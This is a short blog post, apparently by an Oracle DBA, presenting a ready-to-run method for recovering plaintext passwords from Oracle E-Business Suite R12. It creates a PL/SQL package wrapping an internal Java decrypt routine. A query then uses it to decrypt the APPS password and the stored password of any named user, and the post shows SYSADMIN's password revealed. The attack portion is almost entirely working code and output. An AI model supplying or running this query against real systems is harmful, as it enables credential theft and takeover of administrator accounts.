HOW TO FIND SYSADMIN PASSWORD – R12

Simple way to find out SYSADMIN password in R12, Please review below for the same

1) Connect to APPS USER
2) Create PACKAGE and PACKEGE BODY.
3) Query for PASSWORD by providing USERNAME

STEP 1:

$SQL> conn apps/welcome
Connected.

STEP 2:

CREATE OR REPLACE PACKAGE XXX_GET_PWD AS
FUNCTION decrypt (KEY IN VARCHAR2, VALUE IN VARCHAR2)
RETURN VARCHAR2;
END XXX_GET_PWD;
/

Package created.

CREATE OR REPLACE PACKAGE BODY XXX_GET_PWD AS
FUNCTION decrypt (KEY IN VARCHAR2, VALUE IN VARCHAR2)
RETURN VARCHAR2 AS
LANGUAGE JAVA NAME ‘oracle.apps.fnd.security.WebSessionManagerProc.decrypt
(java.lang.String,java.lang.String) return java.lang.String’;
END XXX_GET_PWD;

Package body created.

STEP 3:

SELECT Usr.User_Name,
Usr.Description,
XXX_GET_PWD.Decrypt (
(SELECT (SELECT XXX_GET_PWD.Decrypt (
Fnd_Web_Sec.Get_Guest_Username_Pwd,
Usertable.Encrypted_Foundation_Password)
FROM DUAL)
AS Apps_Password
FROM applsys.Fnd_User Usertable
WHERE Usertable.User_Name =
(SELECT SUBSTR (
Fnd_Web_Sec.Get_Guest_Username_Pwd,
1,
INSTR (Fnd_Web_Sec.Get_Guest_Username_Pwd,
‘/’)
– 1)
FROM DUAL)),
Usr.Encrypted_User_Password)
Password
FROM applsys.Fnd_User Usr
WHERE Usr.User_Name = ‘&User_Name’;
Enter value for user_name: SYSADMIN
old  21:  WHERE Usr.User_Name = ‘&User_Name’
new  21:  WHERE Usr.User_Name = ‘SYSADMIN’
USER_NAME     DESCRIPTION                   PASSWORD
————-         ——————–                 ——————–
SYSADMIN      System Administrator            sysadmin

TO FIND APPS PASSWORD, Check this…  http://oracledbamasters.wordpress.com/2013/11/11/how-to-find-apps-password-r12/

Post a comment or leave a trackback: Trackback URL.

Trackbacks

Leave a Reply

This site uses Akismet to reduce spam. Learn how your comment data is processed.

%d bloggers like this: